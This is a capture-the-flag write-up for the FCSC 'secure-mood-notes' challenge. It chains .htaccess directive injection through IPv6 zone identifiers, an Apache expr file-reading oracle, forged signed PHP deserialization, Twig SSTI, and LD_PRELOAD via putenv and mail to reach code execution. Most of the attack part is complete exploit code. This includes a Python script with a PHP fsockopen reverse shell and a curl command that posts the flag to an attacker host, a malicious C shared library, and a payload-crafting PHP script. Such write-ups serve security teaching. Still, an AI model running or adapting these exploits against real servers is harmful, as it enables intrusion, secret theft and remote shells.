This challenge exposes two services:
This challenge allows users to:
There is no database, notes are stored as a serialized PHP value, but this value is signed through the snuffleupagus PHP library.
Note: in this write-up, snuffleupagus will be shortened to SP.
The first objective is to leak the secret key that Snuffleupagus (SP) uses to sign serialized PHP objects. This key is stored in /opt/default.rules and is also the first flag. Since the PHP application only lets us create, modify, or delete notes with no filesystem interaction, the vulnerability must lie elsewhere. The Python Flask API that handles note sharing is the attack surface.
When a user shares a note, the Flask API creates a folder with a random UUID as its name under /var/www/html/public/shared_notes/, writes the note content into a file called shared.mood.notes, and writes a .htaccess file to control access to it. The .htaccess content is built from two user-controlled inputs: the name field (used as a filename in a response header) and the allowed_ip field (used in a Require ip directive).
import re
import uuid
import requests
from pathlib import Path
from ipaddress import ip_address
from flask import Flask, request, jsonify, send_file
import http.client
http.client._MAXLINE = 200000
app = Flask(__name__)
BASE_ROOT_SHARE = "/var/www/html/public/shared_notes/"
HT_ACCESS_CONTENT="""<FilesMatch "\\.mood\\.notes$">
Header set Mood-Filename %s
Require ip %s
Options -ExecCGI
php_flag engine off
</FilesMatch>"""
def clean_filename(name: str) -> str:
name = re.sub(r'[./;!\n\r"<>\(\)\{\}\[\]]', '', name)
name = re.sub(r'\s+', ' ', name)
return name.strip()
The resulting .htaccess looks like this:
<FilesMatch "\.mood\.notes$">
Header set Mood-Filename <user input filename>
Require ip <user input ip>
Options -ExecCGI
php_flag engine off
</FilesMatch>
Both inputs are sanitized, but as we will see the sanitization is incomplete.
The IP address field is validated using Python's ipaddress library. This library is well known for being very permissive with IPv6 zone identifiers. A zone identifier is an optional suffix appended to an IPv6 address after a % character, used to specify a network interface, for example ::1%eth0. The ipaddress library accepts any string after %, with two exceptions: the characters % and / are not allowed.
This means we can inject arbitrary characters, including a newline \n, into the zone identifier part of the address. For example, submitting ::1%a\nNew Apache Directive as the IP address would produce:
<FilesMatch "\.mood\.notes$">
Header set Mood-Filename file
Require ip ::1%a
New Apache Directive
Options -ExecCGI
php_flag engine off
</FilesMatch>
However, Apache does not understand the IPv6 zone identifier notation. When it tries to parse this .htaccess file, it will fail on the Require ip ::1%a line and refuse to serve the directory entirely.
To prevent Apache from choking on the zone identifier, we need to make it treat the Require ip line as part of the previous directive rather than as a standalone directive. Apache supports line continuation: if a directive line ends with a backslash \, Apache treats the next line as a continuation of the current one.
Looking at the clean_filename function:
def clean_filename(name: str) -> str:
name = re.sub(r'[./;!\n\r"<>\(\)\{\}\[\]]', '', name)
name = re.sub(r'\s+', ' ', name)
return name.strip()
It filters many characters, but ' and \ are both absent from the blocklist. This means we can craft a filename that ends with 'test\, which will make Apache treat the following line as a continuation of the Header set Mood-Filename directive. By combining this with the newline injection in the IP field, the resulting .htaccess becomes:
<FilesMatch "\.mood\.notes$">
Header set Mood-Filename 'test\
Require ip ::1%a'
New Apache Directive
Options -ExecCGI
php_flag engine off
</FilesMatch>
Apache now parses the Header set Mood-Filename directive as spanning two lines. The zone identifier ::1%a' is absorbed as part of the header value string, and New Apache Directive is our injected directive that Apache will process normally.
We now have the ability to inject arbitrary Apache directives into the .htaccess file. Our goal is to read the content of /opt/default.rules. However, we are still constrained: the ipaddress library forbids / and % in the zone identifier. This means:
/ to build a file path directly in the injected directive.%{VARIABLE_NAME} syntax to reference Apache environment variables.To work around both restrictions, we use Apache's expr evaluation engine. Apache allows conditional header directives of the form:
Header set Test "ok" "expr=<expression>"
The header is only set if the expression evaluates to true. Looking at the documentation of expr, two useful functions are available: file(), which reads the content of a file and returns it as a string, and unbase64(), which decodes a base64 string. Since we cannot write / directly, we encode the file path in base64 and decode it at evaluation time. The base64 encoding of /opt/default.rules is L29wdC9kZWZhdWx0LnJ1bGVz.
We also use the strmatch operator, which supports glob-style pattern matching. Since we know the file content starts with sp.global.secret_key(", we can build a pattern that matches only if the key starts with a given prefix:
Header set X-Oracle "ok" "expr=file(unbase64('L29wdC9kZWZhdWx0LnJ1bGVz')) -strmatch '*sp.global.secret_key\(\"%s*\"\)*'
If the X-Oracle header is present in the response when we access the shared note, the pattern matched, meaning the key starts with the tested prefix. If the header is absent, the pattern did not match.
We first determine the length of the key by injecting patterns with increasing numbers of ? wildcards (each ? matches exactly one character) and checking when the header appears. Once we know the length, we iterate character by character over our charset, each time testing whether the key starts with the characters found so far plus the candidate character.
The injected payload for each request looks like this (sent as the allowed_ip field):
::1%'
Header set X-Oracle "ok" "expr=file(unbase64('L29wdC9kZWZhdWx0LnJ1bGVz')) -strmatch '*sp.global.secret_key(\"%s*\")*'"
And the filename is 'test\ to absorb the zone identifier and close the string properly.
The following script leaks the key character by character:
#!/usr/bin/env python3
# all imports..
http.client._MAXLINE = 655360
CHARSET = ascii_letters + digits + "{}"
if args.LOCAL:
BASE_URL = "http://localhost:8000"
else:
BASE_URL = "https://secure-mood-notes.fcsc.fr"
enc_key = ""
sess = requests.session()
# Utils to encrypt title and content
def encrypt(value):
return base64.b64encode(bytes(b ^ enc_key[i % len(enc_key)] for i, b in enumerate(value.encode()))).decode()
#==Get encryption cookie
sess.get(BASE_URL)
enc_key = base64.b64decode(unquote(dict(sess.cookies)["client_key"].encode()))
#/==Get encryption cookie
#==Create a note==
notes_data = {"content": encrypt("worty"),"title": encrypt("fcsc")}
resp = sess.post(f"{BASE_URL}/api/notes", json=notes_data)
#/==Create a note==
#==Leak size of sp.global.secret_key==
key_size = -1
key = ""
BASE_INJECT_LEN = 'Header set X-Oracle "ok" "expr=file(unbase64(\'L29wdC9kZWZhdWx0LnJ1bGVz\')) -strmatch \'*sp.global.secret_key\\(\\"%s\\"\\)*\' "'
for i in trange(1,50):
tmp_inject_len = '\n'+BASE_INJECT_LEN%('?'*i)
resp = sess.post(f"{BASE_URL}/share/create", json={"allowed_ip": f"::1%'{tmp_inject_len}", "name":"'test\\", "note_id": "0"})
leak_path = resp.json()['path']
resp = sess.get(f"{BASE_URL}{leak_path}")
if resp.headers.get('X-Oracle'):
key_size = i
break
if key_size == -1:
print("Exploit failed..")
sys.exit(1)
#/==Leak size of sp.global.secret_key==
#==Leak sp.global.secret_key==
BASE_INJECT_CONTENT = 'Header set X-Oracle "ok" "expr=file(unbase64(\'L29wdC9kZWZhdWx0LnJ1bGVz\')) -strmatch \'*sp.global.secret_key\\(\\"%s*\\"\\)*\'"'
with tqdm(total = key_size * len(CHARSET)) as pbar:
for _ in range(key_size):
for c in CHARSET:
tmp_inject_content = '\n'+BASE_INJECT_CONTENT%(key+c)
resp = sess.post(f"{BASE_URL}/share/create", json={"allowed_ip": f"::1%'{tmp_inject_content}", "name":"'test\\", "note_id": "0"})
leak_path = resp.json()['path']
resp = sess.get(f"{BASE_URL}{leak_path}")
if resp.headers.get('X-Oracle'):
key += c
break
pbar.update(1)
print(f"First flag: {key}")
#/==Leak sp.global.secret_key==
FCSC{9c3c34c030a9d6d8}
Now that we have the SP signing key, we can forge arbitrary PHP serialized objects that will pass the HMAC verification. The application deserializes the notes_data cookie on every request:
#/src/Repository/Utils.php#L59
public static function getNotesFromCookie(Request $request): array
{
$cookieValue = $request->cookies->get(self::COOKIE_NAME);
if (!$cookieValue) {
return ['notes' => new Notes([]), 'invalid' => false];
}
try {
$data = base64_decode($cookieValue);
if ($data === false) {
return ['notes' => new Notes([]), 'invalid' => true];
}
$unserialized = unserialize($data);
if (!$unserialized instanceof Notes) {
return ['notes' => new Notes([]), 'invalid' => true];
}
return ['notes' => $unserialized, 'invalid' => false];
} catch (\Exception $e) {
return ['notes' => new Notes([]), 'invalid' => true];
}
}
__constructWhen PHP deserializes an object, it does not call the class constructor __construct. It directly sets the object properties as defined in the serialized string. This means we can create a Notes object whose $filters array contains any callback we want, completely bypassing the hardcoded values set in the constructor.
Looking at the Notes class:
#src/Model/Notes.php
<?php
namespace App\Model;
use App\Model\Note;
class Notes
{
public array $all_notes;
public array $filters;
public function __construct($all_notes) {
$this->all_notes = $all_notes;
$this->filters = ["angry" => [$this, "angryMode"], "chill" => [$this, "chillMode"], "normal" => [$this, "normalMode"]];
}
public function filter(string $filter) {
return array_map($this->filters[$filter], $this->all_notes);
}
private function angryMode(Note $note) {
$note->title = strtoupper($note->title);
$note->content = strtoupper($note->content);
return $note;
}
private function chillMode(Note $note) {
$note->title = strtolower($note->title);
$note->content = strtolower($note->content);
return $note;
}
private function normalMode(Note $note) {
return $note;
}
}
After deserialization, when the application calls $result['notes']->filter($filter), it runs:
return array_map($this->filters[$filter], $this->all_notes);
Since $this->filters is under our control, we can set any callable as the callback for array_map. This gives us the ability to call any method of any class loaded in the PHP process, passing each element of $this->all_notes as its argument. The only restriction is that the target function must accept a single argument, since array_map passes one element at a time.
SP disables virtually all dangerous PHP functions:
sp.disable_function.function("assert").drop();
sp.disable_function.function("create_function").drop();
sp.disable_function.function("mail").param("additional_params").value_r("\\-").drop();
sp.disable_function.function("system").drop();
sp.disable_function.function("shell_exec").drop();
sp.disable_function.function("exec").drop();
sp.disable_function.function("proc_open").drop();
sp.disable_function.function("passthru").drop();
sp.disable_function.function("popen").drop();
sp.disable_function.function("pcntl_exec").drop();
sp.disable_function.function("file_put_contents").drop();
sp.disable_function.function("rename").drop();
sp.disable_function.function("copy").drop();
sp.disable_function.function("move_uploaded_file").drop();
sp.disable_function.function("ZipArchive::__construct").drop();
sp.disable_function.function("DateInterval::__construct").drop();
However, putenv is not disabled. The classic Linux technique to gain code execution when putenv is available is:
putenv("LD_PRELOAD=...") to tell the dynamic linker to load our shared library before any other.mail("a","a","a"): even if the sendmail binary is not in the Docker container, the shared library defined previously will be loaded, allowing us to call system.SP does partially restrict mail() by blocking calls where the additional_params parameter contains a -, but our usage does not need that parameter.
To chain putenv and mail together, we need a class whose method accepts one argument and internally calls multiple PHP functions. Twig's template rendering engine is a good fit: its render method takes a template name as its single argument and evaluates it, which means we can use SSTI to call arbitrary PHP functions from within the template.
The challenge with using Twig is that its Environment class stores closures in several of its properties, and closures are not serializable in PHP. To work around this, we use PHP's ReflectionClass to instantiate Twig\Environment without calling its constructor, then manually set all the required properties to closure-free equivalents:
$env = (new ReflectionClass(\Twig\Environment::class))->newInstanceWithoutConstructor();
$props = [
'charset' => 'UTF-8',
'loader' => $loader,
'debug' => false,
'autoReload' => false,
'cache' => $cache,
'extensionSet' => $extSet,
'strictVariables' => false,
'originalCache' => false,
'useYield' => false,
'optionsHash' => '',
'globals' => [],
'runtimeLoaders' => [],
'runtimes' => [],
'hotCache' => [],
];
foreach ($props as $name => $value) {
$r = new ReflectionProperty(\Twig\Environment::class, $name);
$r->setAccessible(true);
$r->setValue($env, $value);
}
We use a NullCache and an ArrayLoader that maps an empty string key to our SSTI payload. The result is a fully serializable Twig environment object.
We need the SSTI to call putenv with a single argument (the LD_PRELOAD path), then call mail to trigger library loading. The difficulty is that Twig filters like map pass extra arguments that putenv would reject. The trick is to use call_user_func to ensure only the key of the map is passed to putenv:
{{[0]|map(["sha", {"LD_PRELOAD=/path/to/lib": "putenv"}|map("call_user_func")|join]|join)}}
{{[0]|reduce('mail','id')}}
Breaking the first line down:
{"LD_PRELOAD=/path/to/lib": "putenv"}|map("call_user_func") iterates over the map and calls call_user_func("putenv", "LD_PRELOAD=/path/to/lib"), which correctly calls putenv with only one argument.putenv returns "1" on success, so the outer function name becomes "sha" + "1" = "sha1", which is a valid PHP function and prevents Twig from crashing.For the second line, reduce with an initial value calls mail(initial, current_element), effectively calling mail("id", 0), which is enough to trigger the subprocess spawn and load our preloaded library.
Almost all writable directories in the container are mounted with the noexec flag, which prevents the OS from loading shared libraries from them. However, /var/www/html/public/shared_notes/ does not have this flag.
When a note is shared, its content is written to disk in the format <title>\n<content>. We can therefore split our compiled .so file on the first newline character and store the first part in the note title and the second part in the note content. The file will be reconstructed correctly on disk when the note is shared:
#==Create evil note containing .so file==
content = b""
with open("preload.so","rb") as fd_preload_so:
content = fd_preload_so.read().decode("latin-1")
part_content = content.split("\n",1)
notes_data = {"title": encrypt(part_content[0]), "content": encrypt(part_content[1])}
resp = sess.post(f"{BASE_URL}/api/notes", json=notes_data)
resp = sess.post(f"{BASE_URL}/share/create", json={"allowed_ip": "127.0.0.1", "name": "rce", "note_id": "1"})
library_path = f"/var/www/html/public{resp.json()['path']}"
#/==Create evil note containing .so file==
The shared library is a minimal C file with a constructor function that runs on load:
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))
void init(void)
{
unsetenv("LD_PRELOAD");
system("<command>");
}
The unsetenv("LD_PRELOAD") call prevents the library from being loaded again in any subprocess spawned by our command. The library is compiled as a position-independent shared object and compressed with UPX to reduce its size.
The forged Notes object sets $filters["chill"] to [$twigEnv, "render"], meaning that when the application calls filter("chill"), it calls $twigEnv->render(""), which renders our SSTI payload. The $all_notes array contains a single empty string that array_map passes to the render call:
class Notes
{
public $all_notes;
public $filters;
public function __construct($env) {
$this->all_notes = [""];
$this->filters = ["chill" => [$env, "render"]];
}
}
$n = new Notes($env);
echo serialize($n);
The serialized object is then signed using the leaked SP key with HMAC-SHA256, base64-encoded, and submitted as the notes_data cookie:
#==RCE==
out = os.popen(f"php craft_payload.php {library_path}").read()
out = out.replace('O:5:"Notes"','O:15:"App\\Model\\Notes"')
out += hmac.new(key.encode(), out.encode(), hashlib.sha256).hexdigest()
out = base64.b64encode(out.encode()).decode()
resp = requests.get(f"{BASE_URL}/api/notes?filter=chill",cookies={"notes_data": out})
if resp.status_code == 200:
print("Exploit succeed")
else:
print("Exploit failed")
#/==RCE==
Hitting the /api/notes?filter=chill endpoint triggers the full chain: deserialization, filter("chill"), Twig render, SSTI execution, putenv, mail, library load, and finally our command runs.
#!/usr/bin/env python3
import os
import sys
import json
import hmac
import time
import base64
import hashlib
import requests
import http.client
from pwn import args
from tqdm import tqdm, trange
from urllib.parse import unquote
from string import ascii_letters, digits
http.client._MAXLINE = 655360
CHARSET = ascii_letters + digits + "{}"
WAIT_RATE_LIMITING = 0.02 # seconds to wait to avoid 429
IP, PORT = args.REMOTE.split(":")
if args.LOCAL:
BASE_URL = "http://localhost:8000"
else:
BASE_URL = "https://secure-mood-notes.fcsc.fr"
if args.SHELL:
CMD=f"php -r '$sock=fsockopen(\\\"{IP}\\\",{PORT});exec(\\\"/bin/sh -i <&3 >&3 2>&3\\\");'"
else:
CMD=f"curl http://{IP}:{PORT} -X POST --data \\\"flag=$(/getflag please give me the flag)\\\""
C_CODE=f"""
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))
void init(void)
{{
unsetenv("LD_PRELOAD");
system("{CMD}");
}}
"""
enc_key = ""
sess = requests.session()
# Utils to encrypt title and content
def encrypt(value):
return base64.b64encode(bytes(b ^ enc_key[i % len(enc_key)] for i, b in enumerate(value.encode()))).decode()
#==Get encryption cookie
sess.get(BASE_URL)
enc_key = base64.b64decode(unquote(dict(sess.cookies)["client_key"].encode()))
#/==Get encryption cookie
#==Create a note==
notes_data = {"content": encrypt("worty"),"title": encrypt("fcsc")}
resp = sess.post(f"{BASE_URL}/api/notes", json=notes_data)
#/==Create a note==
#==Leak size of sp.global.secret_key==
key_size = -1
key = ""
BASE_INJECT_LEN = 'Header set X-Oracle "ok" "expr=file(unbase64(\'L29wdC9kZWZhdWx0LnJ1bGVz\')) -strmatch \'*sp.global.secret_key\\(\\"%s\\"\\)*\' "'
for i in trange(1,50):
tmp_inject_len = '\n'+BASE_INJECT_LEN%('?'*i)
time.sleep(WAIT_RATE_LIMITING)
resp = sess.post(f"{BASE_URL}/share/create", json={"allowed_ip": f"::1%'{tmp_inject_len}", "name":"'test\\", "note_id": "0"})
leak_path = resp.json()['path']
resp = sess.get(f"{BASE_URL}{leak_path}")
if resp.headers.get('X-Oracle'):
key_size = i
break
if key_size == -1:
print("Exploit failed..")
sys.exit(1)
#/==Leak size of sp.global.secret_key==
#==Leak sp.global.secret_key==
BASE_INJECT_CONTENT = 'Header set X-Oracle "ok" "expr=file(unbase64(\'L29wdC9kZWZhdWx0LnJ1bGVz\')) -strmatch \'*sp.global.secret_key\\(\\"%s*\\"\\)*\'"'
with tqdm(total = key_size * len(CHARSET)) as pbar:
for _ in range(key_size):
for c in CHARSET:
tmp_inject_content = '\n'+BASE_INJECT_CONTENT%(key+c)
time.sleep(WAIT_RATE_LIMITING)
resp = sess.post(f"{BASE_URL}/share/create", json={"allowed_ip": f"::1%'{tmp_inject_content}", "name":"'test\\", "note_id": "0"})
leak_path = resp.json()['path']
resp = sess.get(f"{BASE_URL}{leak_path}")
if resp.headers.get('X-Oracle'):
key += c
break
# tqdm
pbar.update(1)
print(f"First flag: {key}")
#/==Leak sp.global.secret_key==
#==Craft evil .so file==
with open("preload.c","w") as fd_preload:
fd_preload.write(C_CODE)
os.popen("""
gcc -s -shared -fPIC -Os -o preload.so preload.c;
upx --best preload.so
""").read()
#/==Craft evil .so file==
#==Create evil note containing .so file==
content = b""
with open("preload.so","rb") as fd_preload_so:
content = fd_preload_so.read().decode("latin-1")
part_content = content.split("\n",1)
notes_data = {"title": encrypt(part_content[0]), "content": encrypt(part_content[1])}
resp = sess.post(f"{BASE_URL}/api/notes", json=notes_data)
resp = sess.post(f"{BASE_URL}/share/create", json={"allowed_ip": "127.0.0.1", "name": "rce", "note_id": "1"})
library_path = f"/var/www/html/public{resp.json()['path']}"
print(library_path)
#/==Create evil note containing .so file==
#==RCE==
out = os.popen(f"php craft_payload.php {library_path}").read()
out = out.replace('O:5:"Notes"','O:15:"App\\Model\\Notes"')
out += hmac.new(key.encode(), out.encode(), hashlib.sha256).hexdigest()
out = base64.b64encode(out.encode()).decode()
resp = requests.get(f"{BASE_URL}/api/notes?filter=chill",cookies={"notes_data": out})
if resp.status_code == 200:
print("Exploit succeed")
else:
print("Exploit failed")
#/==RCE==
#==Clean files==
os.remove("preload.c")
os.remove("preload.so")
#/==Clean files==
<?php
require __DIR__ . '/vendor/autoload.php';
$ssti_payload = <<<SSTI
{{[0]|map(["sha", {"LD_PRELOAD=$argv[1]": "putenv"}|map("call_user_func")|join]|join)}}
{{[0]|reduce('mail','id')}}
SSTI;
$loader = new \Twig\Loader\ArrayLoader(['' => $ssti_payload]);
$extSet = new \Twig\ExtensionSet();
$extSet->addExtension(new \Twig\Extension\CoreExtension());
$cache = new \Twig\Cache\NullCache();
$env = (new ReflectionClass(\Twig\Environment::class))->newInstanceWithoutConstructor();
$props = [
'charset' => 'UTF-8',
'loader' => $loader,
'debug' => false,
'autoReload' => false,
'cache' => $cache,
'extensionSet' => $extSet,
'strictVariables' => false,
'originalCache' => false,
'useYield' => false,
'optionsHash' => '',
'globals' => [],
'runtimeLoaders' => [],
'runtimes' => [],
'hotCache' => [],
];
foreach ($props as $name => $value) {
$r = new ReflectionProperty(\Twig\Environment::class, $name);
$r->setAccessible(true);
$r->setValue($env, $value);
}
class Notes
{
public $all_notes;
public $filters;
public function __construct($env) {
$this->all_notes = [""];
$this->filters = ["chill" => [$env, "render"]];
}
}
$n = new Notes($env);
echo serialize($n);
FCSC{5c3fa80edf2ea136b4ea966297e56c2639d9d7825371d01858436bcb22ff0426}